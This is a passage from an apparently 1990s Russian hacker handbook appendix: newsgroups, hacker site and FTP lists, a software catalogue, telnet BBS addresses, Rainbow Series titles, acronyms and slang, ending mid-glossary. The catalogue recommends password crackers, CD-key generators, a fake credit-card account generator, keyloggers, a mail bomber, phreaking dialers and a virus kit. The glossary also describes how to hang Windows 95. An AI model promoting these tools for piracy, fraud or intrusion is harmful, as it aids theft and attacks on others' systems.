     Отметим, что источник каждой поступающей статьи регистрируется. Поэтому
нет  никакого смысла уничтожать статьи UUnet. Это  информация для начинающих
хакеров.  А для  более умудренных  опытом  отметим, что не нужно заходить  в
случайные  группы,  метить  статьи и  стирать  сообщения.  Это  невежливо  и
бессмысленно. Зачем пользоваться несовершенными методами работы Usenet?!
     alt.2600.hope.tech
     Хакеры планеты Земля.
     alt.comp.virus
     Споры по вирусам.
     alt.cracks
     Жаркие споры взломщиков сетей.
     alt.cyberpunk
     Узкий круг киберпанков.
     alt.cyberspace
     Киберпространство и как в нем работать.
     alt.dcom.telecom
     Споры относительно телекоммуникаций.
     alt.fan.lewiz
     Фэн-клуб Левиса Де Пайна.
     alt.hackers
     Описание проектов.
     alt.hackers.malicious
     Действительно мерзкие типы.
     alt.privacy.anon-server
     Анонимные атаки на различные сервера.
     alt.radio.pirate
     Скрытые механизмы.
     alt.radio.scanner
     Сканирование радиограмм.
     alt.satellite.tv.europe
     Все относительно европейского телевидения.
     alt.security
     Безопасность компьютерных сетей.
     alt.security.keydist
     Обмен ключами для систем дешифровки.
     alt.security.pgp
     Pretty Good Privacy.
     alt.security.ripem
     Нелегальная почта из США.
     comp.org.cpsr.announce
     Компьютерные профессионалы.
     comp.org.cpsr.talk
     Самиздатовские компьютерные издания.
     comp.org.eff.news
     Новости от Electronic Frontiers Foundation.
     comp.protocols.tcp-ip
     Протоколы TCP и IP.
     comp.risks
     Публикации и риск.
     comp.security.announce
     Анонсы от CERT относительно безопасности.
     comp.security.misc
     Безопасность сетей и компьютеров.
     comp.security.unix
     Дискусcии по защите великой и могучей UNIX.
     comp.virus
     Компьютерные вирусы и безопасность.
     rec.video.cable-tv
     Кабельное телевидение.
     sci.crypt.
     Различные методы шифровки/дешифровки.
     Хакерские сайты WWW
     http://www.outerlimits.net/lordsome/index.html
     http://web2.airmail.net/km/hfiles/free.htm
     http://resudox.net/bio/novell.html
     http://www.louisville.edu/wrbake01/hack2.html
     http://www.intersurf.com/~materva/files.html
     http://hightop.nrl.navy.mil/rainbow.html
     http://www.rit.edu/~jmb8902/hacking.html
     http://www.spatz.com/pecos/index.html
     http://pages.prodigy.com/FL/dtgz94a/files2.html
     http://www.2600.com
     http://att.net/dir800
     http://draco.centerline.com:8080/~franl/crypto.html
     http://everest.cs.ucdavis.edu/Security.html
     http://ice-www.larc.nasa.gov/WWW/security.html
     http://lOpht.com
     http://lOpht.com/~oblivion/IIRG.html
     http://underground.org
     http://www.alw.nih.gov/WWW/security.html
     http://www.aspentec.com/~frzmtdb/fun/hacker.html
     http://www.etext.org/Zines
     http://www.inderect.com/www/johnk/
     http://www.mgmua.com/hackers/index.html
     http://www.paranoia.com/mthreat
     http://www.paranoia.com/astrostar/fringe.html
     http://www.umcc.umich.edu/~doug/virus-faq.html
     http://www.wired.com
     http://all.net:8080
     http://alumni.caltech.edu/~dank/isdn
     http://aset.rsoc.rockwell.com
     http://aset.rsoc.rockwell.com/exhibit.html
     http://att.net/dir800
     http://ausg.dartmouth.edu/security.html
     http://csbh.mhv.net/dcypher/home.html
     http://cs.purdue.edu/coast/coast.html
     http://csrc.ncsl.nist.gov
     http://daemon.apana.org.au/~longi
     http://dhp.com/~pluvius
     http://everest.cs.ucdavis.edu/Security.html
     http://everest.cs.ucdavis.edu/slides/slides.html
     http://ftp.tamu.edu/~abr8030/security.html
     http://hightop.nrl.navy.mil/potpourri.html
     http://hightop.nrl.navy.mil/rainbow.html
     http://info.bellcore.com/BETSI/betsi.html
     http://infosec.nosc.mil/infosec.html
     http://l0pht.com
     http://l0pht.com/~oblivion/IIRG.html
     http://matrix.resnet.upenn.edu/rourke
     http://mindlink.jolt.com
     http://mls.saic.com
     http://motserv.indirect.com
     http://naic.nasa.gov/fbi/FBI_homepage.html
     http://nasirc.hq.nasa.gov
     http://obscura.com/~loki/
     http://ophie.hughes.american.edu/~ophie
     http://oregano.sl.pitt.edu/index.htm
     http://pages.ripco.com:8080/~glr/glr.html
     http://the-tech.mit.edu
     http://ucs.orst.edu:8001/mintro.html
     http://underground.org
     http://unixg.ubc.ca:780/~jyee
     http://w3.gti.net/safety
     http://wintermute.itd.nrl.navy.mil/5544.html
     http://wiz.plymouth.edu/~jay/underground.html
     http://www.2600.com
     http://www.8lgm.org
     http://www.aads.net
     http://www.alw.nih.gov/WWW/security.html
     http://www.aus.xanadu.com:70/1/EFA
     http://www.ba.com
     http://www.bell.com
     http://www.brad.ac.uk/~nasmith/index.html
     http://www.bst.bls.com
     http://www.c3.lanl.gov/~mcn
     http://www.cam.org/~gagnon
     http://www.cert.dfn.de
     http://www.cpsr.org/home
     http://www.cs.umd.edu/~lgas
     http://www.csd.harris.com/secure_info.html
     http://www.csl.sri.com
     http://www.datafellows.fi
     http://www.dct.ac.uk/~misb3cp/2600/faq.txt
     http://www.digicash.com/ecash/ecash-home.html
     http://www.dnai.com/~gui/index.html
     http://www.eecs.nwu.edu/~jmyers/ids/index.html
     http://www.eff.org/papers.html
     http://www.emap.co.uk/partners/racal-airtech
     http://www.ensta.fr/internet/unix/sys_admin
     http://www.etext.org/Zines
     http://www.fc.net/defcon
     http://www.fedworld.gov
     http://www.first.org/first
     http://www.gbnet.net/kbridge
     http://www.ic.gov
     http://www.io.org/~excels
     http://www.indirect.com/www/johnk
     http://www.magi.com/~vektor/linenoiz.html
     http://www.mcs.com/~candyman/under.html
     http://www.mpr.ca
     http://www.net23.com
     http://www.netresponse.com:80/zldf
     http://www.nist.gov
     http://www.ntt.jp
     http://www.pacbell.com
     http://www.paranoia.com/astrostar/fringe.html
     http://www.paranoia.com/mthreat
     http://www.planet.net/onkeld
     http://www.primenet.com/~insphrk
     http://www.primenet.com/~kludge/haqr.html
     http://www.qualcomm.com/cdma/wireless.html
     http://www.raptor.com/raptor/raptor.html
     http://www.research.att.com
     http://www.rsa.com
     http://www.satelnet.org/~ccappuc
     http://www.seas.upenn.edu/~rourkem
     http://www.service.com/cm/uswest/usw1.html
     http://www.shore.net/~oz/welcome.html
     http://www.spatz.com/pecos/index.html
     http://www.spy.org
     http://www.sri.com
     Хакерские сайты FTP
     ftp.3com.com /pub/Orange-Book
     ftp.acns.nwu.edu /pub
     ftp.alantec.com /pub/tcpr
     ftp.armory.com /pub/user/kmartind
     ftp.armory.com /pub/user/swallow
     ftp.auscert.org.au /pub
     ftp.cs.ruu.nl /pub/SECURITY
     ftp.cs.uwm.edu /pub/comp-privacy
     ftp.csi.forth.gr /pub/security
     ftp.csl.sri.com /pub/nides
     ftp.csn.org /mpj
     ftp.digex.net /pub/access/dunk
     ftp.eff.org /pub/Publications/CuD
     ftp.fc.net /pub/deadkat
     ftp.fc.net /pub/defcon
     ftp.fc.net /pub/defcon/BBEEP
     ftp.fc.net /pub/phrack
     ftp.funet.fi /pub/doc/CuD
     ftp.gate.net /pub/users/laura
     ftp.gate.net /pub/users/wakko
     ftp.giga.or.at /pub/hacker
     ftp.greatcircle.com /pub/firewalls
     ftp.IEunet.ie /pub/security
     ftp.inoc.dl.nec.com /pub/security
     ftp.io.org /pub/users/gmouser
     ftp.lava.net /users/oracle/
     ftp.lerc.nasa.gov /security
     ftp.llnl.gov /pub
     ftp.luth.se /pub/unix/security
     ftp.mcs.anl.gov /pub/security
     ftp.microserve.net /ppp-pop/strata/mac
     ftp.near.net /security/archives/phrack
     ftp.netcom.com /pub/br/bradleym
     ftp.netcom.com /pub/da/daemon9
     ftp.netcom.com /pub/fi/filbert
     ftp.netcom.com /pub/le/lewiz
     ftp.netcom.com /pub/va/vandal
     ftp.netcom.com /pub/wt/wtech
     ftp.netcom.com /pub/zz/zzyzx
     ftp.ocs.mq.edu.au /PC/Crypt
     ftp.ox.ac.uk /pub/comp/security
     ftp.ox.ac.uk /pub/crypto
     ftp.ox.ac.uk /pub/wordlists
     ftp.paranoia.com /pub/toneloc
     ftp.primenet.com /users/i/insphrk
     ftp.primenet.com /users/k/kludge
     ftp.primenet.com /users/s/scuzzy
     Лучший хакерский софт
     CHEAT ENGiNE 2.5
     Простая программа для взлома игр. Создает классные и быстрые патчи.
     Cheat Machine 2.02
     Программа  для легкого прохождения игр. Поддержка  около  300 известных
игр. Солюшены, тактика, коды, патчи, утилиты.
     CrackAid 3.39
     Снятие защиты с игр.
     Crack Master 2.5
     Взлом защит присоединительного типа с наиболее популярных игр.
     Neverlock Spring 95
     Взлом защиты с более 400 игр.
     The PATCHER 6.5
     Снятие защиты от копирования с более, чем 100 известных игрушек.
     Unlimited Cheats 3.0
     Обман лучших игр мира. Великолепный интерфейс. Работа с мышью.
     BRUTE 2.0
     Инструментарий для взлома паролей UNIX.
     Claymore 1.0
     Инструментарий  для  взлома  паролей  системы  Microsoft   Windows.  По
большому счету эта весьма удобная  программа позволяет взломать  практически
любой пароль. Требует наличия стандартной библиотеки VBRUN300.DLL
     Cracker Jack 1.4
     Инструментарий для взлома паролей системы UNIX.
     Glide
     Знаменитый софт для взлома PWL-файлов системы Microsoft Windows.
     GUESS 2.1
     Еще  один  инструментарий  для взлома паролей  системы UNIX.  Позволяет
подключить словарь.
     Hades 1.0
     Сканирование и расшифровка паролей.
     Killer Cracker 9.5
     Простой взломщик паролей для MS DOS.
     NEWHACK 2.0
     Софт, позволяющий обновлять файл паролей.
     PCUPC 2.01
     Инструментарий для взлома паролей системы UNIX.
     XIT 2.0
     Инструментарий для взлома паролей системы UNIX.
     CRACKer for ZIP-files 2.0
     Взломщик паролей в ZIP-файлах.
     Fast ZIP Cracker 1.4
     Взломщик паролей в ZIP-файлах. Использует словарь Brute Force.
     MS CD-Key Generator 95
     Создание регистрационных ключей для Microsoft Office и Windows 95.
     Nagbuster 1.2d
     Полностью автоматическая  программа,  которая  удаляет  регистрационный
мусор из многих shareware-программ.
     NONAG2
     Изящная  программка, которая  удаляет регистрационный  мусор  из многих
shareware-программ.
     Word Password Cracker
     Взлом паролей в документах Microsoft Word for Windows.
     Windows Screen Saver Cracker
     Взломщик запароллированных экранных заставок.
     ZipCrack 1.0
     Простой взломщик паролей в ZIP-файлах.
     HEdit32 1.2
     Редактор  двоичных  файлов.  Неограниченный   размер  файла,  поддержка
механизма drag-and-drop, поиск текста, выборка шрифтов, поддержка clipboard.
     Global Security 32-Bit 1.0
     Программа,  обеспечивающая  безопасность  передаваемых   данных.  Более
крутая, чем знаменитая PGP.
     Hide and Seek 4.1
     Скрывает данные в файлах GIF.
     ParadoX 1.01
     Программа для шифрования файлов данных.
     Puffer 2.0
     Программа для шифрования файлов данных и сообщений электронной почты.
     KOH
     Disk  Encryption System.  Защита жесткого диска  и  флоппов посредством
технологии шифрования IDEA на основе 156-битового ключа.
     Steganos 1.4
     Очень  удобная  программа,  позволяющая  спрятать  файл в другой  файл.
Поддержка  форматов  BMP,  VOC, WAV и  ASCII, включая  длинные имена  файлов
системы Windows 95.
     S-Tools 4.0
     Маскировка данных в звуковых или графических файлах.
     Private Idaho
     Шифровка любых сообщений электронной почты.
     Speak Freely
     Софт, позволяющий зашифровать компьютер, используя человеческий голос.
     Apex 1.00
     Основная  программа,  позволяющая   создавать  фиктивный  доступ  через
простой набор телефонного номера.
     BlueBEEP!
     Лучшая тоновая звонилка.
     CyberPHREAK 1.0
     Звонилка, работающая  в фоновом режиме.  Поддержка  наиболее популярных
звуковых карт.
     Fear's Phreaker Tools 2.3
     Фрикерская утилита для тонов Red Box Tones. Работает в Windows.
     Phone Tag 1.3
     Тоновая звонилка для Windows.
     PhreakMaster 1.0
     Удобная звонилка.
     ToneLoc 1.10
     Удобный   DOS-терминал,   позволяющий   весьма   эффективно   атаковать
компьютерные сети.
     ToneLoc Utilities
     Утилиты к ToneLoc.
     Простейший   терминал,   позволяющий   весьма    эффективно   атаковать
компьютерные сети.
     Z-Hacker 3.21
     Великолепная фрикерская программа.
     Bomb 2.0
     Софт, позволяющий весьма эффективно посылать в сеть фальшивые сообщения
электронной почты.
     CreditMaster 4.0
     Генерация фальшивого эккаунта для кредитной карточки.
     FakeCD 1.0
     Иммитация  устройства CD ROM  посредством создания отдельной директории
на жестком диске.
     IP-Scan 1.02
     Исходник на C для сканирования адресов IP.
     KeyLogger 95
     Программа,  позволяющая  записывать  в  отдельный  файл  любые  нажатия
клавиатуры.
     KeyTrap 3.0
     Очень  эффективная программа,  позволяющая записывать в отдельный  файл
любые нажатия клавиатуры.
     No Where Utilities 2.0
     Тринадцать хакерских утилит.
     News You Can Use 6.0
     Одно из лучших электронных изданий хакерских советов и рекомендаций.
     The Pirates Friend 2.6
     Коллекция серийных номеров.
     UNP 4.10
     Разархивирование  файлов,  сжатых  программами  DIET,  EXEPACK,  LZEXE,
PKLITE и TASM.EXE
     TLINK.EXE
     Мгновенное производство вирусов.
     Kit 1.0
     Инфицирование  EXE-файлов,  производство  троянских  коней,  шифрование
всего и вся, создание фиктивных ошибок обработки, инфекция файла COMMAND.COM
и многое другое.
     Небольшой список сетевых "улыбок"
     :-)
     Самая обычная хохма.
     ;-)
     Хохма с подмигиванием.
     :-(
     Хмурая физиономия.
     :-I
     Никакое выражение лица.
     :-/
     Скептическое выражение.
     :-X
     Молчит.
     :-Q
     Курит.
     :-Р
     Высовывает яык.
     :-{
     Уcатый собеседник.
     B-)
     Ношу очки.
     %-)
     Долго смотрю на этот экpан.
     Список российских DNIC
     2500 ROSPAC
     2501 POSPRINT
     2502 IASNET
     2503 MMTEL
     2504 INFOTEL
     2506 ROSNET
     2508 ТРАНСИНФОРМ
     2510 SOVAMNET
     2511 ЭДИТРАНС
     2512 ТЭКОС
     2513 PTT-TELEPORT
     Список BBS, работающих чеpез telnet
     ADDICTED chatline
     telnet sun1.gwent.ac.uk 6666
     AIDS Database
     telnet debra.dgbt.doc.ca 3000
     Air Pollution BBS
     telnet ttnbbs.rtpnc.epa.gov
     Amateur Callsign Server
     telnet cs.buffalo.edu 2000
     Archeological Database
     telnet cast.uark.edu (login:nadb)
     Archie ftp directory search
     telnet archie.sura.net (login: qarchie)
     Aviation Weather
     telnet duats.gtefsd.com
     Bible Search
     telnet quake.think.com (login: WAIS)
     Book Stacks Unlimited
     telnet books.com
     Bridge
     telnet 140.117.11.33 (login okbridge)
     CapAccess Network
     telnet cap.gwu.edu
     CASS - Space Studies
     telnet cass.jsc.nasa.gov (login: cass pw: online)
     CD Connection
     telnet cdconnection.com
     Chess
     telnet 128.111.246.2 5000
     CompuServe
     telnet compuserve.com
     Connection music store
     telnet zen.holonet.net (login: cdc)
     Dictionary
     telnet 129.79.254.191 2627
     Diku-MUD
     telnet skypoint.com 4000
     Employment database
     telnet career.com
     Epilepsy Database
     telnet debra.dgbt.doc.ca 3000
     Fedworld BBS
     telnet fedworld.gov
     FIFE Satellite dB
     telnet pldsg3.gsfc.nasa.gov (login: FIFEUSER)
     Free-Net Buffalo
     telnet freenet.buffalo.edu
     Free-Net Cleveland
     telnet freenet-in-a.cwru.edu
     Free-Net Dayton
     telnet 130.108.128.74
     Games
     telnet castor.tat.physik.uni-tuebingen.de
     Geography Server
     telnet martini.eecs.umich.edu 3000
     Gopher Public server
     telnet consultant.micro.umn.edu
     GSA contract info
     telnet netmark.com (login: netmark)
     Land Use maps
     telnet 152.61.192.54
     Law Library
     telnet 137.113.10.35
     MLB Schedules
     telnet culine.colorado.edu 862
     NBA Schedules
     telnet culine.colorado.edu 859
     NBS Time Service
     telnet nessie.cc.wwu.edu (login: LIBS)
     Netline Flagship BBS
     telnet fcsbbs.netline.co.za
     NTIA Information
     telnet ntiabbs.ntia.doc.gov
     Periodic Table
     telnet camms2.caos.kun.nl
     Periodicals Index/reprints
     telnet database.carl.org
     Poetry 17-18C dB
     telnet bcmsv.leeds.ac.uk (login: bcmsv)
     Quotes
     telnet astro.temple.edu 12345
     Shakespeare Database
     telnet library.dartmouth.edu
     Smiley database
     telnet twinbrook.cis.uab.edu 3399
     Spanish-English Dictionary
     telnet gopher.sc.ehu.es 4444
     Stock Market Reports
     telnet 192.160.13.1
     Stock Market Reports
     telnet a2i.rahul.net
     Stock Quotes ($)
     telnet quote.com
     Subway Maps
     telnet metro.jussieu.fr 10000
     SVPAL
     telnet svpal.org
     Tallahasee Free-Net
     telnet freenet.fsu.edu
     Telephone Directories
     telnet dfw.net
     TinyTIM MUD
     telnet yay.tim.org 5440
     TrekMOO MUD
     telnet 192.204.120.2 2499
     TrekMOO MUD
     telnet trekmoo.microserve.com 2499
     TrekMOO MUD+
     telnet 192.204.120.2 2499
     TV & Radio Transcripts
     telnet pac.carl.org
     USA Today
     telnet 129.22.8.51
     USGS Land Info System
     telnet glis.cr.usgs.gov
     WAIS
     telnet quake.think.com (login: wais)
     Список всех книг Rainbow
     Orange 1
     D.O.D. Trusted Computer Systems.
     Green
     D.O.D. Password Management.
     Yellow
     Computer Security Requirements.
     Yellow 2
     Computer Security Requirements.
     Tan
     Understanding Audit In Trusted Systems.
     Bright Blue
     Trusted Product Evaluation.
     Neon Orange
     Understanding Discretionary Access.
     Teal Green
     Glossary Of Computer Terms.
     Orange 2
     Understanding Configurations.
     Red
     Interpretation Of Evaluation.
     Burgundy
     Understanding Design Documentation.
     Dark Lavender
     Understanding Trusted Distrobution.
     Venice Blue
     Computer Security Sub-Systems.
     Aqua
     Understanding Security Modeling.
     Dark Red
     Interpretations Of Environments.
     Pink
     Rating Maintenence Phase.
     Purple
     Formal Verification Systems.
     Brown
     Understanding Trusted Facilities.
     Yellow-Green
     Writing Trusted Facility Manuals.
     Light Blue
     Understanding Identification And Authentication
     In Trusted Systems.
     Blue
     Product Evaluation Questionaire.
     Gray
     Selecting Access Control List.
     Lavander
     Data Base Management Interpretation.
     Yellow 3
     Understanding Trusted Recovery.
     Bright Orange
     Understanding Security Testing.
     Purple 1
     Guide To System Procurement.
     Purple 2
     Guide To System Procurement.
     Purple 3
     Guide To System Procurement.
     Purple 4
     Guide To System Procurement.
     Green
     Understanding Data Remanence
     Hot Peach
     Writing Security Features.
     Turquiose
     Understanding Information Security.
     Violet
     Controlled Access Protection.
     Light Pink
     Understanding Covert Channels.
     Хакерские акронимы
     ACL
     Access Control List
     AN
     Associated Number
     ARSB
     Automated Repair Service Bureau
     ATH
     Abbreviated Trouble History
     BOC
     Bell Operating Company
     BOR
     Basic Output Report
     BOSS
     Business Office Servicing System
     CA
     Cable
     COE
     Central Office Equipment
     CMC
     Construction Maintenance Center
     CNID
     Calling Number IDentification
     CO
     Central Office
     DDD
     Direct Distance Dialing
     ECC
     Enter Cable Change
     LD
     Long Distance
     LMOS
     Loop Maintenance Operations System
     MLT
     Mechanized Loop Testing
     NPA
     Numbering Plan Area
     POTS
     Plain Old Telephone Service
     RBOC
     Regional Bell Operating Company
     RSB
     Repair Service Bureau
     SS
     Special Service
     TAS
     Telephone Answering Service
     TH
     Trouble History
     TREAT
     Trouble Report Evaluation and Analysis Tool
     LOD
     Legion of Doom
     HFC
     Hell Fire Club
     TNO
     The New Order
     ACiD
     Ansi Creators in Demand
     Cci
     Cybercrime International
     FLT
     Fairlight
     iCE
     Insane Creators Enterprise
     iNC
     International Network of Crackers
     NTA
     The Nocturnal Trading Alliance
     PDX
     Paradox
     PE
     Public Enemy
     PSY
     Psychose
     QTX
     Quartex
     RZR
     Razor (1911)
     S!P
     Supr!se Productions
     TDT
     The Dream Team
     THG
     The Humble Guys
     THP
     The Hill People
     TRSI
     Tristar Red Sector Inc.
     UUDW
     Union of United Death Workers
     Словарь юного хакера
     Бит
     Минимальная единица измерения информации (0 или 1).
     Полубайт
     4 бита.
     Байт
     Тоже, что и бит, только в 8 раз больше.
     Кило
     Тоже, что и байт, только в 1024 раза больше.
     Мег
     Тоже, что и кило, только в 1024 раза больше.
     Гиг
     Тоже, что и мег, только в 1024 раза больше.
     Хакер
     Человек, не мыслящий себя без компьютера.
     Мозги
     Оперативная память компьютера. Измеряется в кило/мегабайтах.
     Линейка
     Набор микросхем в количестве восьми штук.
     Каша
     Cach-память.
     Железо
     Hardware.
     Бебеска
     Bulleten Board System.
     Винт
     Винчестер. Жесткий диск. Носитель информации.
     Матрас
     Винчестер фирмы MAXTOR.
     Трехдюймовка и пятидюймовка
     Гибкий магнитный диск размером в 3 и 5 дюймов соответственно.
     Флоппер
     Устройство для считывания информации с гибких дисков.
     Комп
     Персональный компьютер.
     Клава
     Клавиатура. Клацнуть педалью, топтать кнопку, нажать на клавишу.
     Прогсы
     Компьютерные программы.
     Закинуть на диск
     Записать информацию на магнитный носитель.
     Коробок
     Корпус компьютера.
     Гама
     Игра.
     Крэкнуть, ломануть, хакнуть, взорвать гаму
     Вскрыть игру и изменить в ней данные по своему усмотрению.
     Крякалка
     Программа для вскрытия программ.
     Бластер, Либа, Гусь
     Типы музыкальных адаптеров.
     Бима
     Народное название компьютера фирмы IBM.
     Мак
     Народное название компьютера фирмы Apple Macintosh.
     Двойка, тройка, четверка
     Первые цифры моделей персональных компьютеров фирмы IBM.
     Хата
     Компьютер фирмы IBM класса XT.
     Пентюх
     Компьютер IBM Pentium.
     Вирусяка
     Компьютерный вирус.
     Чайник
     Человек, не смыслящий почти ничего в компьютерных технологиях.
     Бипер, спикер, бжичек
     Встроеный динамик.
     Штампик, дрюкер, печаталка
     Принтер.
     Отштамповать текст
     Отпечатать текст на принтере.
     Микрохи
     Микросхемы.
     Битые микрохи
     Негодные сожженые микросхемы.
     Видеокарта, вика
     Плата видеоадаптера.
     Плитка
     Карта.
     Дипик
     DIP-переключатель  (на  задних  панелях  принтеров,  видеомагнитофонов,
видеокарт и т.д.).
     Набить, настукать текст
     Набрать текстовый файл
     Цапик
     Цифровой аналоговый преобразователь.
     Сброс, пимпа
     Кнопка Reset на компьютере. Сбросить компьютер, страйкнуть пимпу, нажав
Reset, очистить оперативную память.
     Копик
     Сопроцессор (музыкальный, математический).
     Процик
     Просто процессор.
     Компьютер завис
     Состояние машины, при котором работу продолжать невозможно.
     Насильник
     Программист-системщик, работающий на языке С.
     Макрушник
     Программист-системщик, работающий на макроассемблере.
     СисОп
     Системный оператор BBS.
     Сосиска
     Плохой СисОп.
     Сисопка
     Пьянка системных операторов.
     Сосисник
     Пьянка плохих СисОпов.
     Т-мыло
     Почтовая программа T-MAIL.
     Фродо
     Почтовая программа Front Door.
     Юзер
     Пользователь.
     Голый дед
     Редактор почты Gold Edit.
     Шнурок
     Локальная сеть.
     Сидишник, сидюк
     Накопитель на лазерных дисках CD ROM.
     Струйник
     Струйный принтер.
     Паровоз
     Программа сжатия данных в реальном времени.
     Доска
     Дисковая операционная система.
     Форточки
     Операционная система Microsoft Windows.
     Дурдос
     операционная система DR-DOS.
     ТрубоПаскакаль
     Язык Turbo Pascal.
     Лиса
     База данных Fox Pro.
     Полотер
     Плоттер (графопостроитель).
     Залить/слить
     Upload/Download. Записать/списать файлы.
     Примат
     Прикладной математик.
     Совок
     Музыкальная псевдоприставка Covox.
     Баг, глюк
     Ошибка (сбой) в программе.
     Лапа
     Переносной компьютер.
     Жук, шуршун
     Вентилятор в блоке питания.
     Кулер, Карлсон
     Вентилятор 486 процессора.
     МуМу
     Мультимедиа.
     Дрова
     Машина-пародия на нормальный компьютер. (Поиск, ЕС ЭВМ и т.д.).
     Сбой
     Ненормальная   работа   компьютера,   чаще   всего    встречается    на
машинах-дровах.
     Гога
     Русский вариант слова error.
     Файло
     Файл.
     Мэйло
     Письмо.
     Мышатина
     Манипулятор типа Mouse.
     Копирнуть
     Cкопировать что-либо.
     Коннектиться, жужжать
     Cвязываться модемами.
     Клоки
     Cистемные часы.
     Конец, кобель, шлейф
     Кабель сопряжения.
     Тормозистор
     Транзистор.
     Материнка, мамка
     Motherboard (основная плата).
     Ширинка
     Плата расширения памяти.
     Симы
     Микросхемы памяти SIMM.
     Сипы
     Микросхемы пямяти SIPP.
     Батон
     Любая кнопка (button).
     Волшебный батон
     Кнопка magic button компьютера ZX Spectrum.
     Мультяха
     Плата, отвечающая за обработку стандартных портов ввода/вывода.
     Хелпарь
     Помощник.
     Полетел
     Образное выражение, характеризующее поломку чего-либо.
     Гифы
     Графические файлы с расширением .GIF.
     Флики
     Файлы-клипы с расширением .FLI.
     Морды
     Музыкальные файлы с расширением .MOD.
     Бегучка
     Бегущая строчка.
     Де-Зе
     Режим    выкачки    файлов,    при    котором    используется    ZMODEM
(DownLoad/ZModem).
     Нетварь
     Операционная система Netware.
     Горелые дрова
     Графический редактор CorelDraw.
     Носки
     Таблица кодировки ASCII.
     Чекист
     Тестовая программа Checkit.
     Пилить диски
     Попытка чтения информации с плохих дисков.
     Пень-инфо
     Дерево каталогов Norton Commander Treeinfo.
     Вешалка
     Таблица векторов прерываний.
     Энурез
     Программа восстановления случайно стертых файлов.
     Толковый словарь
     Access level
     Уровень доступа.
     Access Privileges
     Доступ как к самим папкам, так и к возможности их модифицировать.
     Access
     Доступ к сети.
     Active Channel
     Узел Web, автоматически поставляемый на рабочий стол пользователя.
     ActiveX
     Термин  программного  интерфейса   технологии  Microsoft,   позволяющей
разработчикам  создавать  интерактивное  содержимое для  WWW,  а  также  для
компонентов  программного  обеспечения,   написанных  на  различных  языках.
Основные элементы технологии ActiveX -- COM и DCOM.
     Address
     Уникальный код с информацией, находящейся в файле конкретной сети.
     AGP
     Accelerated Graphics Port.
     Alias
     Псевдоним (имя, метка). Весьма известная вещь в компьютерах  Macintosh.
В  более  широком смысле, --  метка,  использующаяся для  указания выполнить
какое-либо действие.
     Anchor
     То, что собственно, и образовывает гипертекстовую ссылку.
     Anonymous
     Один из методов получения доступа к той или иной информации. Вы  можете
только копировать файлы, передавать свои -- нет.
     ANSI
     American National Standards Institute.
     APM
     Advanced  Power  Management.  Усовершенствованное  управление  питанием
компьютера. Интерфейс  программного  обеспечения,  позволяющий системе вести
управление электропитанием оборудования персонального компьютера.
     Arcade Game
     Компьютерная игра, как правило, с живым и быстрым сценарием.
     Archie
     Система, предназначенная для поиска содержимого FTP серверов.
     ARJ
     Популярная в MS-DOS программа архивирования файлов.
     Article
     Статья, посланная в Usenet.
     AT-команды
     Команды настройки модема.
     Выделенный канал
     Постоянное соединение, всегда  позволяющее передать поток информации от
одного компьютера к другому.
     Authorization
     Право,  которое дается пользователю на тот или иной ресурс компьютерной
системы.
     AUTOEXEC.BAT
     Автоматически  выполняемый  файл  при  загрузке операционной системы, в
котором содержится  набор  специальных  команд, позволяющих сконфигурировать
систему под те или иные устройства персонального компьютера.
     Backbone
     Главная высокоскоростная магистраль Internet. Опорная сеть Internet!
     Background
     Фон. Задний план окна графической операционной системы.
     Backup
     Резервная копия. Запасной архив некоторой программы.
     Bad Sector
     Испорченный кластер.  Сектор  на  жестком  или  гибком  диске,  который
непригоден для записи и хранения информации.
     BAT
     Расширение исполняемых файлов.
     Baud rate
     Скорость обмена данными между компьютером и модемом.
     BBS
     Bulletin  Board System. Тип компьютерного сервиса. Юзеры могут читать и
публиковать различные сообщения. Передавать или скачивать файлы.
     Benchmark
     Общее  тестирование  персонального  компьютера посредством  специальной
программы.
     Big mail
     Электронная почта огромных размеров. Передается некоторыми сволочами  в
качестве мести.
     BIOS
     Базовая система ввода-вывода.  Пакет программ, "вшитый" в  персональный
компьютер. Позволяет настроить работу различных устройств системы.
     Bit
     Самое маленькое количество информации, передаваемое по сети.
     Board
     Электронная  монтажная плата, используемая  в  персональном компьютере.
Если  на  этой  плате расположен  процессор,  то она называется  материнской
платой.
     Bookmark
     Закладка. Файл  Gopher или WWW. Информация в  этом файле размещена так,
что получить доступ к желаемой странице можно без дополнительного серфинга.
     Boot Block
     Сектор   жесткого  или  гибкого  диска,  содержащий   команды  загрузки
операционной системы.
     Boot
     Запуск персонального компьютера.
     BPS
     Бит в секунду. Величина измерения скорости передачи данных через модем.
     Browser
     Нечто,  похожее на графический интерфейс. Позволяет блуждать по той или
иной сети, или искать себе на определенное место приключений.
     Bus
     Шина.  Различные  соединения,  позволяющие   обмениваться   информацией
различным элементам персонального компьютера.
     Busy
     Модем сообщает о том, что линия связи занята.
     Cabinet
     Файл, который содержит один или несколько сжатых файлов.
     Capacity
     Максимальная скорость передачи данных.
     Card
     Адаптер или печатная плата.
     Carrier
     Связь. Несущая. Определенный сигнал, несущий данные. Почти то же самое,
что и connect.
     CATV
     Кабельное телевидение.
     CGI
     Common  Gateway Interface.  Нечто, напоминающее  интерфейс,  с  помощью
которого пишется софт для серверов Web.
     Channel
     Канал связи между узлами сети.
     Chat
     Одна из форм межсетевого психоза. Вы можете, сидя за экраном компьютера
вести интерактивный разговор  со множеством аналогичных юзеров, сидящих, как
правило, по ту сторону океана. И куда только смотрит ФСБ? Непонятно.
     Check Box
     Флажок в  виде крестика. Один  из многочисленных  элементов графической
операционной системы. Позволяет включать или отключать то или иное действие.
     Checkpoint
     Место, в котором то  или иное приложение прекращает работать и начинает
определять,   где  и  в  какой  среде  оно   находится.  Одноименная  фирма,
производящая весьма популярную и бестолковую программу для защиты Internet и
Intranet.
     Checksum
     Некоторое  значение,  которое  характеризует  целостность   тестируемой
информации.
     Cоnferencing
     Cистема конференций.
     CIX
     Commercial Internet Exchange. Торговая ассоциация провайдеров Internet.
     ClariNet
     Коммерческая сеть, работающая в формате конференций Usenet.
     Client
     Софт конкретного юзера.
     CLI в окне Dos
     Дыpа в Windows 95. VMM не виртуализирует IF в VDM. Просто  осуществляем
запрет   на   прерывания   и  переходим   в  бесконечный  цикл.  Планировщик
блокируется. Система зависает.
     Command line
     Командная строка.
     Compress
     Архиватор. То, что делает из большого файла маленький, а из кучи файлов
--  один  файл.  Может быть  также командой UNIX,  через которую  происходит
процесс архивирования.
     Compression/Decompression
     Кодирование/декодирование сигналов.
     CompuServe
     Коммерческая компьютерная сеть США.
     Cookies
     Технология, позволяющая сохранять  сугубо индивидуальную  информацию  о
пользователе сети.
     Cracker
     Хакер, который ломает все и вся.
     Cross-posting
